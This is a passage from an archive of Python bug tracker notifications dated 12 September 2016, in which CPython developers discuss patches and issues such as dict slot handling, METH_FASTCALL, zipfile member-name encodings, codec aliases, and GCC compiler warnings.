STINNER Victor added the comment:

> And hapyo, if you decide to make find_empty_slot support only combined dict, why not remove mp_values check?

Oh, I didn't notice that find_empty_slot() partially support split tables. Would you like to write a patch? I reopen the issue to fix this nit ;-)

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:22:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 13:22:40 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <20160912132232.21157.67651.3B0CA3DF@psf.io>


Roundup Robot added the comment:

New changeset f7d198fc4c96 by Christian Heimes in branch 'default':
Issue #27322: back out the commit. needs to be addressed after beta1.
https://hg.python.org/cpython/rev/f7d198fc4c96

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:28:44 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 13:28:44 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473686924.24.0.483429477223.issue28077@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Just need to delete the lines :) :

diff -r 0773e5cb8608 Objects/dictobject.c
--- a/Objects/dictobject.c	Mon Sep 12 14:43:14 2016 +0200
+++ b/Objects/dictobject.c	Mon Sep 12 21:26:41 2016 +0800
@@ -1011,10 +1011,7 @@
     ep = &ep0[mp->ma_keys->dk_nentries];
     *hashpos = i & mask;
     assert(ep->me_value == NULL);
-    if (mp->ma_values)
-        *value_addr = &mp->ma_values[ix];
-    else
-        *value_addr = &ep->me_value;
+    *value_addr = &ep->me_value;
     return ix;
 }

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:39:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 13:39:44 +0000
Subject: [issue17128] OS X system openssl deprecated - installer should build
 local libssl
In-Reply-To: <1360002680.77.0.851671416179.issue17128@psf.upfronthosting.co.za>
Message-ID: <20160912133941.2071.56124.2D1F2398@psf.io>


Roundup Robot added the comment:

New changeset bfd0a73cf907 by Ned Deily in branch 'default':
Issue #17128: Build OS X installer for 3.6 with private copy of OpenSSL.
https://hg.python.org/cpython/rev/bfd0a73cf907

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17128>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:44:00 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 13:44:00 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <1473687840.49.0.828270646332.issue27129@psf.upfronthosting.co.za>


STINNER Victor added the comment:

This issue can now be closed, no?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:45:55 2016
From: report at bugs.python.org (Jens Timmerman)
Date: Mon, 12 Sep 2016 13:45:55 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473687955.11.0.358545389615.issue23102@psf.upfronthosting.co.za>


Jens Timmerman added the comment:

I'm also regularly running into this, it is really annoying, Can I do anything to help getting this merged in?

----------
nosy: +Jens.Timmerman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:51:08 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Mon, 12 Sep 2016 13:51:08 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473688268.13.0.338991263353.issue28077@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:52:14 2016
From: report at bugs.python.org (sashk)
Date: Mon, 12 Sep 2016 13:52:14 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473688334.52.0.994451982122.issue27806@psf.upfronthosting.co.za>


Changes by sashk <b at compuix.com>:


----------
nosy: +sashk

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:52:15 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 13:52:15 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <1473688334.99.0.223651194506.issue27810@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Could you please wrap "#define METH_FASTCALL  0x0080" with "#ifndef Py_LIMITED_API"/"#endif"? I think this method still is not stable, and we shouldn't encourage using it in third-party extensions.

I would use two methods: just METH_FASTCALL and METH_FASTCALL|METH_KEYWORDS. The former is simpler and more stable, it takes just an array of positional parameters. The latter takes also keyword arguments, and the format of passing keyword arguments may be changed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:56:26 2016
From: report at bugs.python.org (Roundup Robot)
Date: Mon, 12 Sep 2016 13:56:26 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <20160912135623.59867.12818.FEDC1948@psf.io>


Roundup Robot added the comment:

New changeset 08a500e8b482 by Victor Stinner in branch 'default':
Issue #27810: Exclude METH_FASTCALL from the stable API
https://hg.python.org/cpython/rev/08a500e8b482

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Mon Sep 12 09:56:36 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 13:56:36 +0000
Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions
In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za>
Message-ID: <1473688596.31.0.886505085129.issue27810@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Could you please wrap "#define METH_FASTCALL  0x0080" with "#ifndef Py_LIMITED_API"/"#endif"?

Sorry, this is a mistake. I tried to exclude all new symbols related to fast call from the stable API.

It should now be fixed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27810>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:00:22 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 14:00:22 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1464268387.83.0.862540030058.issue27129@psf.upfronthosting.co.za>
Message-ID: <1473688822.87.0.387962606041.issue27129@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

No, only the simpler and safer part was committed. I divided the original patch on four parts, but since the code was significantly evolved, they no longer applied clearly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:09:01 2016
From: report at bugs.python.org (Melvyn Sopacua)
Date: Mon, 12 Sep 2016 14:09:01 +0000
Subject: [issue11320] Usage of API method Py_SetPath causes errors in
 Py_Initialize() (Posix ony))
In-Reply-To: <1298644323.49.0.991957845562.issue11320@psf.upfronthosting.co.za>
Message-ID: <1473689341.48.0.262713233759.issue11320@psf.upfronthosting.co.za>


Melvyn Sopacua added the comment:

The cause for this error is any cause for not being able to load a module. This includes version conflicts, so when trying to load a virtualenv with python 3.3 interpreter by a uWSGI embedded python3.4 interpreter the action fails.

This is - bluntly overstated - a design flaw or overly confident claim with respect to virtualenv support in uWSGI. This configuration can never work and becomes a configuration error.

It really deserves a less generic error message, indicating the version conflict and possibly the path to the encoding module it tried to load. This helps in debugging the cause and possibly abandon the idea before wading through the list of reports generated by this error message (only one of which I found to hint at the version conflict and most don't have a clear solution or different root cause).

----------
nosy: +msopacua
versions: +Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11320>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:15:57 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 14:15:57 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473689757.66.0.728855031655.issue28080@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Python is programming language, I don't understand what you mean saying "available to nonprogrammers". As a programmer you can recode ZipInfo name before outputting or what you want to do with it:

    filename = filename.encode('cp437').decode(encoding)

In command line you can can use iconv or other converters:

    python3 -m zipfile -l myzip.zip | iconv -t cp437 | iconv -f "$encoding"

This is not very handy, but works in most cases.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:19:42 2016
From: report at bugs.python.org (Christian Sarazin)
Date: Mon, 12 Sep 2016 14:19:42 +0000
Subject: [issue28101] Add utf-8 alias to aliases.py dictionary
Message-ID: <1473689982.13.0.44705267117.issue28101@psf.upfronthosting.co.za>


New submission from Christian Sarazin:

The utf-8 alias should be added to the utf_8 codec block inside aliases.py


Thx

Cheers
Christian

----------
components: email
messages: 276052
nosy: Christian Sarazin, barry, r.david.murray
priority: normal
severity: normal
status: open
title: Add utf-8 alias to aliases.py dictionary
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28101>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:25:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 14:25:15 +0000
Subject: [issue28101] Add utf-8 alias to aliases.py dictionary
In-Reply-To: <1473689982.13.0.44705267117.issue28101@psf.upfronthosting.co.za>
Message-ID: <1473690315.8.0.443152070533.issue28101@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> The utf-8 alias should be added to the utf_8 codec block inside aliases.py

Codec names are normalized by encodings.normalize_encoding():

>>> encodings.normalize_encoding(' Utf-8 ')
'Utf_8'

And then converted to lower case, so there is no need to all syntaxes of "utf-8", it already works ;-)

>>> codecs.lookup(' Utf-8 ').name
'utf-8'

----------
nosy: +haypo
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28101>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:42:44 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 14:42:44 +0000
Subject: [issue28080] Allow reading member names with bogus encodings in
 zipfile
In-Reply-To: <1473620375.38.0.155906896901.issue28080@psf.upfronthosting.co.za>
Message-ID: <1473691364.05.0.839354815687.issue28080@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

Cleaned up a few loose ends while it's all fresh in mind.  Will ping python-dev in 4-6 weeks for review for 3.7.

Thanks to Serhiy for review.  The current version of the patch is much improved over the initial submission due to his efforts.

----------
Added file: http://bugs.python.org/file44593/encoded-member-names-v3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28080>
_______________________________________

From report at bugs.python.org  Mon Sep 12 10:55:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 14:55:45 +0000
Subject: [issue27129] Wordcode, part 2
In-Reply-To: <1473688822.87.0.387962606041.issue27129@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZJfAtBvuS4wO=Qmmbqq-uH04R2bOGwTecHaTGc2SNtmw@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> No, only the simpler and safer part was committed. I divided the original patch on four parts, but since the code was significantly evolved, they no longer applied clearly.

Oh ok. I saw that a change was pushed, I didn't read the history of the issue.

I should take a look after the beta1 release.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27129>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:33:28 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 15:33:28 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
Message-ID: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>


New submission from Stephen J. Turnbull:

Pointed out by Serhiy Storchaka in a different context.

----------
components: Library (Lib)
files: zipfile-errmsg
keywords: patch
messages: 276056
nosy: sjt
priority: normal
severity: normal
status: open
title: zipfile.py script should print usage to stderr
versions: Python 3.7
Added file: http://bugs.python.org/file44594/zipfile-errmsg

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:35:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 12 Sep 2016 15:35:13 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1473694513.94.0.0808603970571.issue27181@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Steven: any thoughts about the

statistics.geometric_mean(0.7 for _ in range(5000))

failure? Should I open a separate bug report for that, or would you rather address it as part of this issue?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:37:19 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 15:37:19 +0000
Subject: [issue28103] Style fix in zipfile.rst
Message-ID: <1473694639.54.0.408781099961.issue28103@psf.upfronthosting.co.za>


New submission from Stephen J. Turnbull:

Makes style of references to open modes 'r', 'a', ... more consistent.

CA pending (I have received PDF, but no star in tracker yet).

----------
assignee: docs at python
components: Documentation
files: zipfile-doc-style
messages: 276058
nosy: docs at python, sjt
priority: normal
severity: normal
status: open
title: Style fix in zipfile.rst
versions: Python 3.7
Added file: http://bugs.python.org/file44595/zipfile-doc-style

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28103>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:38:10 2016
From: report at bugs.python.org (Stephen J. Turnbull)
Date: Mon, 12 Sep 2016 15:38:10 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
In-Reply-To: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>
Message-ID: <1473694690.17.0.375708581399.issue28102@psf.upfronthosting.co.za>


Stephen J. Turnbull added the comment:

CA pending (I have received PDF, but no star in tracker yet).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:39:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 15:39:40 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1473694780.49.0.188871266765.issue27181@psf.upfronthosting.co.za>


STINNER Victor added the comment:

>>> statistics.geometric_mean([0.7 for _ in range(5000)])
Traceback (most recent call last):
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 362, in float_nroot
    isinfinity = math.isinf(x)
OverflowError: int too large to convert to float

=> see also issue #27975

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:49:21 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 15:49:21 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
In-Reply-To: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>
Message-ID: <1473695361.31.0.562496221721.issue28102@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I would request tests, but since currently there are no tests for command line interface to zipfile, it's okay. LGTM. Will commit right after beta 1 is tagged.

----------
assignee:  -> serhiy.storchaka
nosy: +serhiy.storchaka
stage:  -> commit review
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:51:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 15:51:07 +0000
Subject: [issue28103] Style fix in zipfile.rst
In-Reply-To: <1473694639.54.0.408781099961.issue28103@psf.upfronthosting.co.za>
Message-ID: <1473695467.04.0.172559493433.issue28103@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

LGTM.

----------
nosy: +serhiy.storchaka
stage:  -> commit review
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28103>
_______________________________________

From report at bugs.python.org  Mon Sep 12 11:59:36 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Mon, 12 Sep 2016 15:59:36 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473695976.27.0.700335580495.issue27213@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

>  After releasing beta 1 this would require changing bytecode magic number.

Why don't we change the magic number before b1 (if your bytecode change is already committed)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:14:13 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 16:14:13 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473696853.5.0.094242393737.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Why don't we change the magic number before b1 (if your bytecode change is already committed)?

The magic number changed many times between Python 3.5 and the future Python 3.6 beta 1. Maybe we skipped increasing this number for one bytecode change, but it should only impact the few developers who worked on the development version. In this case: just remove all ".pyc" files and it should be fine ;-)

In short: I think it's fine, don't do anything else ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:20:49 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 16:20:49 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473697249.39.0.136180799941.issue17884@psf.upfronthosting.co.za>


SilentGhost added the comment:

I get the following compiler warning now:

In file included from ./Include/Python.h:66:0,
                 from /cpython/Modules/_ssl.c:19:
/cpython/Modules/_ssl.c: In function ?_setup_ssl_threads?:
./Include/pymem.h:136:18: warning: comparison is always false due to limited range of data type [-Wtype-limits]
   ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \
                  ^
/cpython/Modules/_ssl.c:5076:22: note: in expansion of macro ?PyMem_New?
         _ssl_locks = PyMem_New(PyThread_type_lock, _ssl_locks_count);
                      ^

----------
nosy: +SilentGhost
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:21:30 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 16:21:30 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473697290.77.0.391721213135.issue17884@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution: fixed -> 
stage: patch review -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:26:34 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Mon, 12 Sep 2016 16:26:34 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473697594.28.0.778986995085.issue27322@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:31:11 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Mon, 12 Sep 2016 16:31:11 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473697871.52.0.123444167407.issue28086@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

I'm marking this as a deferred blocker as i believe we want this resolved before we exit the betas.

----------
nosy: +gregory.p.smith
priority: normal -> deferred blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:43:15 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Mon, 12 Sep 2016 16:43:15 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473698595.75.0.732754999872.issue27806@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
nosy: +belopolsky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:47:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 12 Sep 2016 16:47:05 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1473697290.82.0.00881114815955.issue17884@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYkojaBchrc49=sF7PH=d0TwjLuPXNaqcrZ7xmLgQxS=A@mail.gmail.com>


STINNER Victor added the comment:

> I get the following compiler warning now: (...)

Why do you think that it's related to stdint.h changes?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 12:59:21 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Mon, 12 Sep 2016 16:59:21 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473699561.35.0.0284581489179.issue17884@psf.upfronthosting.co.za>


Changes by Antoine Pitrou <pitrou at free.fr>:


----------
nosy:  -pitrou

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:00:36 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 17:00:36 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473699636.82.0.54874450863.issue17884@psf.upfronthosting.co.za>


SilentGhost added the comment:

Probably, not for a particularly good reason, but none of the near-by code in _ssl.c seemed relevant on superficial inspection. The commit 02c8db9c255f which modified Include/pymem.h didn't have an issue associated with it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:06:15 2016
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 12 Sep 2016 17:06:15 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473699975.57.0.54358351043.issue17884@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Probably this one: #23545

----------
nosy: +skrah
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:07:12 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 17:07:12 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473700032.75.0.64105903076.issue17884@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> fixed
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:07:31 2016
From: report at bugs.python.org (Nathan Marrow)
Date: Mon, 12 Sep 2016 17:07:31 +0000
Subject: [issue28104] Set documentation is incorrect
Message-ID: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>


New submission from Nathan Marrow:

The library documentation for set intersection gives this definition:
intersection(other, ...)

For any set, s, however, intersection may be called with no arguments, which returns the same set. The documentation, as written, implies such usage would raise a TypeError. I believe it should be intersection(*others). Same for difference, union, intersection_update, difference_update, and update.

----------
assignee: docs at python
components: Documentation
messages: 276070
nosy: docs at python, nmarrow
priority: normal
severity: normal
status: open
title: Set documentation is incorrect
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:09:23 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 17:09:23 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1473700163.22.0.960103248081.issue28086@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This bug is not so critical. This bug exists in 3.5 and 2.7. Tests was added in issue18531, but at that moment the bug already was fixed in 3.6 (maybe accidentally).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:12:23 2016
From: report at bugs.python.org (SilentGhost)
Date: Mon, 12 Sep 2016 17:12:23 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473700343.93.0.0533640481283.issue23545@psf.upfronthosting.co.za>


SilentGhost added the comment:

The commit didn't resolve the warning though.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:15:24 2016
From: report at bugs.python.org (Jakub Stasiak)
Date: Mon, 12 Sep 2016 17:15:24 +0000
Subject: [issue8840] truncate() semantics changed in 3.1.2
In-Reply-To: <1275005546.82.0.0795236723796.issue8840@psf.upfronthosting.co.za>
Message-ID: <1473700524.07.0.93661124215.issue8840@psf.upfronthosting.co.za>


Changes by Jakub Stasiak <jakub+python.org at stasiak.at>:


----------
nosy: +jstasiak

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8840>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:19:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 17:19:26 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473700766.26.0.983823546085.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Objects/methodobject.c: In function ?_PyCFunction_FastCallKeywords?:
Objects/methodobject.c:281:24: warning: ?nkwargs? may be used uninitialized in this function [-Wmaybe-uninitialized]
     assert((nargs == 0 && nkwargs == 0) || stack != NULL);
                        ^

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:22:25 2016
From: report at bugs.python.org (Elias Zamaria)
Date: Mon, 12 Sep 2016 17:22:25 +0000
Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences
In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za>
Message-ID: <1473700945.69.0.731705069601.issue27923@psf.upfronthosting.co.za>


Elias Zamaria added the comment:

Martin, I made another attempt to understand what you are trying to tell me about the patch, and I'm still confused.

It seems that to make the patch merge cleanly, I need to get the patch URL from this page, and to get the patch URL, I need to upload the patch, and to upload the patch, I need to produce the patch, and to produce a patch that merges cleanly, I need to get the patch URL. That sounds like a catch-22. Where am I supposed to start?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27923>
_______________________________________

From report at bugs.python.org  Mon Sep 12 13:27:00 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 12 Sep 2016 17:27:00 +0000
Subject: [issue23545] Turn on extra warnings on GCC
